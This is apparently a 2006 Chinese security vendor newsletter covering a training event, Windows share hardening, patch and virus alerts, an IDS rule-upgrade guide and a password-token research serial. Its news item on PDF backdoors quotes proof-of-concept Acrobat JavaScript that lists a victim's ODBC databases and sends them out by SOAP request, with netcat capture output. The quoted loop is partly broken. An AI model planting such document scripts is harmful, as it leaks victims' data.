《安全月刊》2006年第九期 总第二十七期                                               出刊:2006年9月22日
本期导读:
|-优创动态——“新思维 新技术 新管理”渠道之旅——东软-南京优创用户技术培训会圆满成功
|-安全咨讯——黑客发现Adobe PDF的后门
|-安全技术——彻底封杀Windows系统的共享漏洞
|-病毒警报
|-工程师解疑空间——如何升级东软IDS系统规则
|-谭博士专栏——动态分区的口令输入方法研究(连载之四)
 

征 文 通 知 


稿件内容:
   
我们没有固定的框框,只要您认为有价值,值得、可以拿出来跟大家分享,我们都欢迎,您可以:
   
写出你与网络安全产品打交道的经历;
   
漫谈您在使用网络安全产品过程中的体会;
   
谈谈您正在使用的安全产品的优势与不足;
   
与大家分享您在使用网络安全产品过程中悟出的小窍门,试出的小方法;
   
记述您遇到的印象比较深刻的网络安全事件及解决过程;
   
展望未来网络安全技术趋势及网络安全市场走向。
奖励办法:稿件一经录用刊登,根据文章内容评定稿费每篇200500元;来稿未被刊登使用的,也会收到我们的纪念礼品。
 

南京优创科技有限公司  客户服务中心
服务电话:025-84808848
工程师24小时服务电话:025-84808575
服务传真:025-84827970
服务邮箱:service@ultratech.com.cn
   

 

 

“新思维 新技术 新管理”渠道之旅——东软-南京优创用户技术培训会圆满成功

 
     我司与东软联合举办的““新思维 新技术 新管理”渠道之旅——东软-南京优创用户技术培训会”活动于2006911日在苏州金澄锦江国际酒店圆满结束了。来自江苏、安徽的40多位用户代表参加了这次培训活动。
     此次培训活动,我们邀请了东软网络安全咨询顾问高峰、钱轶峰和东软CIW培训讲师侯小东老师一道担任主讲。这次培训的重点是围绕加深网络安全意识、提高用户对东软安全产品的使用和维护水平来展开的,中间穿插了目前国际上唯一针对互联网专业人员的国际权威认证——CIW培训。内容涉及东软最新产品、最新技术介绍,东软NetEye防火墙(VPN)及东软NetEye IDS技术介绍,CIW培训:信息安全技术基础、Windows操作系统安全、安全审计与威胁分析、面对攻击的应急响应等方面。

 

    

                 东软网络安全咨询顾问高峰                                   东软CIW培训讲师侯小东老师
    各位用户对这次培训的热情很高,下课后,大家仍在一起讨论课堂上的内容,并互相交流自己在单位使用相关产品的管理 、维护经验。
 

 
    为期两天的培训活动虽然日程安排紧凑,但因准备充分,加上客户朋友们的大力支持与配合,整个培训气氛紧张而有序。来自各单位的技术精英们聚集一堂,课堂上大家在浓厚的学术氛围下对网络安全进一步加深了理解,课后更是建立起了深厚的友谊。我们相信通过这次培训活动,既能提高用户的理论水平,又能够为用户解决很多实际问题。
    在培训结束后,大家又一起驱车前往苏州太湖西山岛内的牛仔乡村俱乐部,在那里度过了一天的轻松休闲时光。

    

    

   

                                                                                   <<<< 回到本期导读

 

黑客发现Adobe PDF的后门

    一名英国安全研究者近日发现了一个可以操纵Adobe PDF文件中的合法特性开启后门进行攻击的方法。David Kierznowski是一名网络应用程序测试方面的的入侵测试专家,他发布了一些理论上已经证实的代码和一些作弊的PDF文件以演示Adobe Reader程序如何可以在不经过用户操作的情况下被用于发起攻击。
    Kierznowski
说,乍看起来PDF文档显然是不安全的,这是因为它支持JavaScript脚本。然而,要想将这一特性用于攻击目的却需要一些巧妙的技术,绝不是像想象的那样简单。Adobe支持其自己的JavaScript对象模型,例如,"alert('xss')"必须被app对象调用,因此这变成了"app.alert('xss')"。这意味着利用JavaScript进行攻击时只能使用Adobe所支持的功能。其次,Adobe ReaderAdobe Professional所允许的JavaScript对象范围是不同的。Kierznowski在其网站上给出了两个实例以表明Adobe ProfessionalAdobe Reader如何可被用于后门攻击,两个例子都使用了"Page Open"(页面打开)事件,这一事件可以通过"Page Properties|Actions tab"(页面属性|动作标签)访问。
   
第一个攻击(PDF文件:http://michaeldaw.org/projects/backdoored1.pdf)同时影响Adobe ReaderAdobe Professional,它已在打过所有补丁的Adobe版本中证实,它由在一个PDF文件中加入的恶意链接引发。一旦该文档被打开,用户的浏览器便被自动开启并访问这一内嵌的链接。Kierznowski说,在Adobe 67中,打开这些URL前都没有给出任何的警告;很明显,这时任何恶意代码都可被执行。
   
第二个攻击(PDF文件:http://michaeldaw.org/projects/backdoored2.pdf)利用了Adobe系统的ADBCAdobe数据库连接)和Web服务支持。"该攻击访问位于localhost上的Windows ODBC,列举可用的数据库并将这一信息通过Web服务发送到'localhost'。该攻击可以进一步被用于执行数据库查询。想象一下,攻击者可以通过用户的Web浏览器访问到你的内部数据库。"他说。Kierznowski在其blog http://michaeldaw.org/md-hacks/backdooring-pdf-files/)上给出了下面这段理论上被证实的代码:
var cURL = "http://localhost/";
var cTestString = ""; 
 
var databaseList = ADBC.getDataSourceList();
 
var DB = "";
if (databaseList != null) {
for (var i=0; i DB+=databaseList[i].name;
}
 
cTestString = DB;
 
var response = SOAP.request( {
cURL: cURL,
oRequest: {
"http://myxmlns/:echoString": {
inputString: cTestString
}
},
cAction: " http://additional-opt/"
});
 
var result = response["http://no-need/:echoStringResponse"]["return"];
 
On the server side we get this:
$ ./nc.exe -l -p 80 -v
listening on [any] 80 …
connect to [127.0.0.1] from localhost [127.0.0.1] 1924
POST / HTTP/1.1 
Accept: */*
Content-Type: text/xml; charset=UTF-8
SOAPAction: "http://additional-opt/"
Content-Length: 578
User-Agent: Mozilla/3.0 (compatible; Acrobat SOAP 7.0)
Host: localhost
Connection: Keep-Alive 
Cache-Control: no-cache
 
<?xml version="1.0″?>
<SOAP-ENV:Envelope xmlns:SOAP-ENC="http://schemas.xmlsoap.org/soap/encoding/" 
xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" xmlns:xsd="http://www.w3.org/2001/XMLSchema" 
xmlns:xsi="http://www.w3.org/2001/
XMLSchema-instance"><SOAP-ENV:Body><ns0:echoString SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/so 
ap/encoding/" xmlns:ns0="http://myxmlns/"><inputString xsi:type="xsd:string">
MS Access 97 DatabaseFoxPro FilesText FilesMS Access DatabaseExcel FilesdBASE Files
dbase1</inputString>
</ns0:echoString> 
</SOAP-ENV:Body>
</SOAP-ENV:Envelope>

Kierznowski指出,在PDF文件中至少还有其他7漏洞可被攻击者用于执行恶意代码。注意到Adobe Acrobat支持"HTML表单""文件系统访问"的使用,他说"如果再进一步发挥创造力,更简单的和/或更高级的攻击可以被放在一起。"Kierznowski在其blog上说他还有一些其他有趣的发现,其中之一是你可以通过将一个后门Javascript文件读入一个本地路径后在所有Adobe Acrobat文件中加入后门。
    Kierznowski
说他在PDF文件中审查后门的好奇心来对于关于"被动攻击"概念的着迷。 他在提到内部用户对周围的网络通常表示信任时说:"诸如缓存溢出这样的主动攻击技术已经越来越难被发现和利用……未来的安全攻击的希望在于Web技术。" 微软Office应用程序(WordExcelPowerpoint)被用于瞬时攻击的趋势得以证实后,Kierznowski看到了客户方攻击的未来在于挖掘服务的功能。 他说:"这种形式的攻击只是有效利用用户信任的圈子操纵其客户端完成一个特定的功能。"
    Adobe
产品安全事件相应小组的一名发言人说,公司已经得知Kierznowski的发现并正在"积极调查"这一问题。 位于加州圣何塞总部的公司在发往eWEEK的声明中说:"如果Adobe证实我们的某个产品将受到安全攻击的影响,这一安全攻击的细节及适当的解决方案将被编档发布。"

                   

                                                                                   <<<< 回到本期导读

 

 

彻底封杀Windows系统的共享漏洞

 

Windows98开始,共享就给很多的上网用户带来无穷无尽的烦恼,但同时共享又是黑客攻击他人的电脑的一把利器。如何彻底禁止Windows 2000Windows XP系统的共享漏洞呢?下面我们来说一说相关的知识。
  1、查看共享资源
  在Windows XP系统中,电脑所有的驱动器都默认为自动共享,但不会显示共享的手形标志,这就给网络安全留下了隐患。我们可以在运行栏中填入cmd进入命令提示符,输入net share,快速查看电脑中的共享资源,找到这些共享目录。
  如果对命令提示符的界面不习惯,可以依次打开控制面板管理工具计算机管理共享文件夹,查看电脑中所有的共享资源。
  2、清除共享漏洞
  首先确保以AdministratorPower Users组的成员身份登录系统,然后通过以下三个步骤清除共享的漏洞
  1).依次打开开始菜单控制面板管理工具服务,找到“Server”服务,停止该服务,并且在属性中将启动类型设置为手动已禁用
  2).修改注册表。依次打开开始运行,输入regedit进入注册表编辑器,找到HEKY_LOCAL_MACHINESystem\CurrentControlSetServicesLanmanServerParamaters子键,在右侧的窗口中分别新建一个名为“AutoShareWks”和一个名为“AutoShareServer”的双字节键值,并且将值设置为“0”
  3).使用命令提示符下的“net share”命令也可以很好地消除这一隐患。打开Windows自带的记事本,输入如下内容:
  net share admin$ /del
   
net share ipc$ /del
    net share c /del
   
接下来将该文件保存为一个扩展名为“bat”的批处理文件。最后,运用Windows任务计划功能让该批处理文件在每次开机时都自动运行。

  提示:如果还有其他盘使用了共享,如D盘,则在记事本中添加“net share d /del”即可。输入时不要忽略参数之前的空格

                                                                                                   <<<< 回到本期导读

 

病毒警报

 

本周时间里,微软公司发布了今年9月份的系统漏洞补丁程序。其中Windows操作系统的漏洞补丁程序有2个、办公文字处理软件Office的漏洞补丁程序有1个。国家计算机病毒应急处理中心建议广大计算机用户注意这3个漏洞补丁程序中的以下两个,它们分别是:
(一) MS06-052Microsoft PGM远程缓冲区溢出漏洞,PGM是一个可靠且可伸缩的多播协议。Microsoft在处理PGM消息时存在缓冲区溢出漏洞,恶意攻击者可能利用此漏洞在服务器上执行任意恶意指令程序。恶意攻击者也可以发送特制的多播消息来触发这个漏洞,导致攻击者在计算机系统上执行恶意指令。
(二) MS06-053Microsoft索引服务查询验证跨站脚本执行漏洞,Microsoft索引服务可以为文件系统和虚拟Web服务器创建内容和属性的索引目录。索引服务没有正确地验证查询参数,可能允许跨站恶意脚本程序执行。如果计算机用户受诱骗而访问了恶意网站,那么就可能会使恶意攻击者在计算机用户系统上运行客户端脚本程序,该脚本程序可能含有欺骗信息或是泄露信息。
本周发作:
病毒名称:沙滩 Worm_Satan
病毒类型:蠕虫
发作日期:923
危害程度:23日,蠕虫发作会自动关闭被感染的计算机系统,25日,蠕虫会不断打开系统中的记事本程序,直到耗尽系统资源导致系统死机。
专家提醒:
  针对我们提到的上述提到的两个主意的漏洞补丁程序,根据以往的经验来看,这些漏洞补丁程序很可能会被恶意攻击者利用来进行病毒传播。用户不可以忽视它们,大家要根据自己的系统情况尽快地下载安装这个补丁程序,防止类似的利用系统漏洞进行恶意攻击现象的发生。

 

                                                                                    <<<< 回到本期导读

 

 
如何升级东软IDS系统规则

东软IDS系统的升级包括对系统规则库的增强,系统功能和性能的增强等。下面我们就结合图文说明的形式来了解一下如何升级东软IDS系统规则库的操作。
  第一步:确认主控权限
  升级操作需要用户对IDS具有主控的权限,在升级前请先确认自己登录的IP是否具有主控的权限,可以通过查看主控状态菜单了解当前IDS设备相关信息,如下图1所示。


图 1

  图  2

    若如图2所示,本机就已具有主控权限。可以直接进行下一步操作。若是提示当前没有管理主机设置为主控状态,只需依次打开菜单:监控主机—> 设置主控状态。若当前主控状态已设置为其它管理机,需在原主控机上进行解除主控状态操作后。才能将本机更改为主控状态。
  为什么需要主控状态?主控状态的作用是针对IDS设备多用户同时管理时,确保当前只有一个用户可以对其配置进行修改,避免出现因多用户同时修改规则,而对设备运行产生不可预计的问题。在多用户管理时,主控状态确保只有一台主机对IDS具有修改与配置的权限,而其它用户对IDS的信息查看与报表生成等操作不受影响,保障了IDS系统的正常运作。
  第二步:系统升级
  如图3所示,打开系统维护
—> 系统升级菜单:

 
图  3

 第三步:下载最新升级包
  如图4所示,点击系统升级窗口中的下载按键,将自动打开IE并登录东软网站,或直接访问东软URL地址http://neteye.neusoft.com

  图  4

    升级文件的具体下载地址在网站技术支持—> 升级包栏目下,如图5所示:

   图  5

    点击如图6所示页面中最新的Neteye IDS规则升级包,图中最新版本为818日的升级文件。最新的升级文件中包括了之前的升级文件,如果你有很长时间未更新,无需下载之前的升级文件。

   图  6

    为了确保升级文件的正确性,网站上提供了每个升级包的检验信息。用户可以通过对本地规则库文件进行验证。下图7所示为使用winMD5对下载到本地的2006-08-18141828.zip规则库文件进行检验比对。

  图  7

第四步:选取合适的升级文件进行升级
  升级包中包含有三个文件:除了其中一个是说明文件外,另两个都为升级文件:
  1、系统规则库升级包 NetEyeIDS_SysRuleLib_UpgradePackage_0220060818.nif
  2、集中管理器规则库导入包 NetEyeIDS_SysRuleLib_CenterManager_0220060818.nif
  单台的IDS设备升级请使用
    1
、系统规则库升级包NetEyeIDS_SysRuleLib_UpgradePackage_0220060818.nif升级,集中管理器升级文件采用升级文件
    2
、如不确认自己的系统是哪类,请与工程师联系了解自己系统是何种类型后再进行升级。

   图  8

    选择合适的最新升级文件后,会在系统升级窗口中的备注信息中显示这个升级包新更新的内容。请在升级时注意此处信息,后面我们还需要根据此处所显示的信息对IDS当前所使用策略进行编辑。

    图  9

    选择正确的升级文件点击确定后,系统会弹出两个窗口,并分别确认,如图10与图11

   图  10

 

   图  11

第五步:修改当前应用策略
  升级完成并重新连接监控主机后,升级操作还没有结束,还需要对当前应用的策略进行修改。选取所需的新事件。如图12至图15所示:

 图  12

   粗黑体的策略为当前正应用的策略,点击编辑:

  图  13

    在策略编辑器中,根据刚刚升级窗口中备注信息中所显示新增信息来进行查看与选取。08.18升级包中主要增加了[网络使用策略(85)],这里我们就点击图中箭头所示位置。

  图  14

     新增事件主要是关于Yahoo IM通讯软件的事件,这里我们根据内网实际需要进行选取。然后点击箭头所示位置保存修改的策略。

  图  15

    点击保存策略后,会弹出三个窗口,依次点击确认。

图 16  图 17   图 18

    升级成功后,IDS就能检测出更多的攻击事件,如下图19与图20所示,图19Yahoo IM登录成功事件:

  图 19

    图20P2P BitTorrent通告请求事件:

  图 20

 

                                                                                                   (工程师:姚智)

工程师信箱:yaozhi@ultratech.com.cn   欢迎大家与我一起交流技术方面的问题。
                                                                                   <<<< 回到本期导读

 

动态分区的口令输入方法研究(连载之四)

 

2.3 基于动态分区的口令输入系统
   
为了解决现行的静态口令所存在的种种问题,本文提出的就是一种全新的口令输入系统,即基于动态分区的口令输入系统。它采用基于时间、事件或挑战并运用分区杂糅技术而产生一次性口令来代替传统的静态口令,从而避免了口令泄露带来的安全隐患。在这个系统中,每个令牌都有一个唯一的密钥,该密钥都是存放在服务器端,每次认证时令牌与服务器分别根据同样的密钥,同样的随机参数(时间,事件或挑战)和同样的分区算法计算出认证的动态口令,从而确保了口令的一致性和认证的成功。因为每次认证时的随机参数不同,所以每次产生的动态口令也不同;由于运用了分区杂糅技术,所以即使在输入口令时被人看到,也没有办法获得正确的口令。这些手段都保证了每次口令的不可预测性,从而在最基本的口令认证这一环节保证了系统的安全性。
   
动态分区的口令输入系统的基本原理是这样子的:动态分区的口令输入系统由认证服务器和客户段的令牌两大部分组成,其机构如(图1)。用户使用令牌每次产生一次性的、可变的口令;认证服务器对令牌产生的口令进行计算和认证。
   
具体的过程是:使用时,用户(终端)使用中心派发的令牌(又称动态分区技术的口令生成器),动态的生成一组口令,然后在登陆(Login)界面、或者电话键盘进行输入。系统将该口令送到中心的安全认证服务器进行信任认证算法计算,得知该口令的正确性,由此判断用户的合法性。

令牌,为用户提供了一个简单、易行的口令生成方法通过同步/异步信任认证算法产生一次性使用的“动态口令”,而且口令无法预测和跟踪,这就使得用户口令既在理论上做到无法被窃取,而且又能解决口令频繁变换所带来的麻烦。“动态口令”是与“静态口令”相对而言的,他们的区别就在于:一个“动态口令”只能使用一次,而且每次都不同;而“静态口令”则重复多次使用,而且每次都相同。
   
安全认证服务器,运行在网络环境下,集中控制了所有远程用户对网络的访问,提供了全面的认证、授权和审计服务。使用者在进行身份认证时,需要输入用户名和由令牌计算出的当时的“动态口令”。服务器端的软件模块和加密机硬件,能自动和令牌生成的“动态口令”同步,从而保证认证过程的完成。
   
动态分区的口令输入系统的特点:
   
1)、开放式体系,系统支持WINDOWS NTNETWARESCOUNIXLINUX等网络平台。
   
2)、用户数据和动态密码种子受加密机或加密卡保护。
   
3)、可支持RADIUS远程拨号访问认证协议,允许用户进行远程拨号访问。
   
4)、客户端提供认证API开发接口,包括CVCVBFOXPROPOWERBUILDER等各种软件开发接口。可以非常方便地嵌入原应用系统,无须添加额外的访问设备。
   
5)、支持Internet Information ServerSun Solariswww服务器。可控制网页的特殊访问。
   
6)、提供ASP调用接口,可轻易实现与WEB服务器的无缝集成。
   
7)、由于令牌是脱机使用的,客户端的应用环境不局限与计算机系统,对电话委托、甚至是ATMPOS等都可以使用令牌。
   
8)、单向、简捷的认证过程,有效防止非法授权用户的访问。
   
9)、集中式的网络认证和管理,完整的日志功能,便于审计追踪。
   
10)、黑盒子内实现加密验证。硬件算法,安全可靠,性能有保障。
   
11)、抗工程跟踪,自我保护。
   
12)、提供热备份认证服务器,确保系统可靠性.
3.
动态分区口令输入系统中令牌模块的开发
   
通过大量的文献阅读,基本了解了动态分区的口令输入方法的原理及该口令输入系统的基本工作过程。  所以,本次毕业设计准备实现动态分区口令输入系统中令牌模块的功能。它包括:
   
1)令牌的加密功能:由用户输入一个可被人看见的明文口令(message),令牌根据一定的动态分区算法生成一组动态的密文口令(password)。
   
2)令牌的加密功能的测试:有系统随机生成20个明文口令(message),每个口令进行1000次测试,考察该令牌的加密性能。加密性能的标准是这样的:比较明文口令(message)和密文口令(password)中最长对位相同子串的长度,如123456113355最长对位相同子串的长度为1123456122456最长对位相同子串的长度为3
   
3)令牌的注销功能:申明令牌已经注销失效。
3.1
令牌的相关知识
   
令牌由令牌发放中心发放,由用户输入明文口令,安全认证服务器和令牌本身根据同样的明文口令,同样的随机参数(时间,事件或挑战)和同样的分区算法计算出一次性的动态的认证密文口令。然后,令牌由用户妥善保存,在要使用其登陆的时候,通过登陆(Login)界面或者电话键盘进行输入,系统将该口令送到中心的安全认证服务器进行信任认证算法计算,得知该口令的正确,由此判断用户的合法,允许其登陆请求。由该令牌得出的认证密文口令是一次性的,当用它合法登陆过一次后,令牌需要注销前一次的口令,这样才能用来进行下一次的动态认证密文口令的申请。另外有一点说明:这个令牌是个物理器件,所以它的功能实现都是通过硬件编程实现,本次毕业设计只是进行软件模拟实现。
3.2
令牌的设计思路
   
首先,任何一个产品都要有它的人性化设计的一面,所以在令牌的设计中的欢迎界面和异常处理都充分体现了人性化的一面。在令牌的具体设计中,void graphic()函数提供了整个令牌功能(包含加密,测试,注销)的目录显示,可由用户任意选择。
   
其次,也就是令牌的核心——加密功能,因为用户是在不安全的环境下进行的明文口令(message)输入,周围可能会有别有用心的人,所以加密功能的第一个环节就是将用户输入的明文口令(message)进行置换。void group(int a, int b, int c, int d)函数就是完成该功能的,其中它是将6位的明文口令(message)分成3组进行置换。至于如何换,本次软件模拟时,是设定的:根据明文口令(message)的14位置换临时密文口令中的12位;明文口令(message)的25位置换临时密文口令中的34位;明文口令(message)的36位置换临时密文口令中的56位。另外,也可以稍微修改一下源程序使置换的位置有用户自己定。void group(int a, int b, int c, int d)函数实际上就是提供了一张置换表,置换表中记录了明文口令(message)对应的临时密文口令。这个置换表应该是由硬件实现的,所以是绝对安全的。一旦置换表被泄露那是一件非常糟糕的事情。
   
做完置换工作,只实现了令牌加密过程中的分组这一步。另外还有一个环节,就是与时间杂糅。通过void catchtime()函数来获取当前的时间,然后将小时、分钟、秒钟按从高到低分成6位和刚才置换完的临时密文口令进行杂糅计算,从而获得了最终的密文口令(password)。
   
再次,就是进行口令加密性能的测试分析。由于测试次数巨大,不可能一遍一遍的手工输入,所以该功能中通过循环语句和rand(),随机的生成了206位的明文口令(message),再通过循环语句将每组明文口令(message)测试1000遍。同时设置了7个整型变量same_0,same_1,same_2,same_3,same_4,same_5,
same_6
分别记录每次测试中明文口令(message)和密文口令(password)的最长对位相同子串的长度为0123456的个数,便于最后的统计分析。
   
最后,还有一个申明注销本次令牌发送的密文口令(password)的功能。选择了这项功能也就是退出了本次软件模拟实验。
   
这就是整个令牌的设计思路,如研究细节问题请参看源代码。

 
                                                                                               *****未完待续*****

                     谭博士信箱:txy@ultratech.com.cn    欢迎大家与我共同探讨安全问题
                                                                                   <<<< 回到本期导读

   订阅《安全月刊》
 
         请输入Email:  加入订阅 取消订阅